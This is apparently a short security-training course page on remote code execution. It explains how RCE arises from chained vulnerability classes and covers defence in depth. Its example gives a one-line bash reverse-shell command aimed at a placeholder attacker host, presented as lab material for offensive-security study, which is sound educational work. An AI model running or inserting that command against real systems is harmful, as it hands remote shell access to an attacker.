Courses

Remote Code Execution
OSWE · Chapter 8

Remote Code Execution

Remote Code Execution (RCE) is the umbrella outcome of many different vulnerability classes — deserialization, command injection, unsafe file upload, SSTI — all converging on the same result: the attacker can run arbitrary code on the server.

Key concepts

  • RCE is rarely a vulnerability class on its own — it is the *impact* of chaining an input-validation failure with a dangerous sink (interpreter, deserializer, template engine).
  • Once RCE is achieved, the standard next steps are establishing a reverse shell, then following post-exploitation practices (least footprint, no unnecessary lateral movement in real engagements).
  • Defense in depth matters even after other mitigations fail: running services as a low-privileged, sandboxed user limits the blast radius of any single RCE.
  • MITRE ATT&CK's Command and Scripting Interpreter technique catalogs the actual mechanisms (PowerShell, bash, Python) adversaries use once RCE is achieved.

Example

# Minimal reverse shell pattern once RCE is confirmed in a lab (bash target)
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Try it yourself

Trace back through the last three chapters (deserialization, XSS) and write one sentence each on how each vulnerability class could theoretically be chained into full RCE.

@ Daniel Burlacu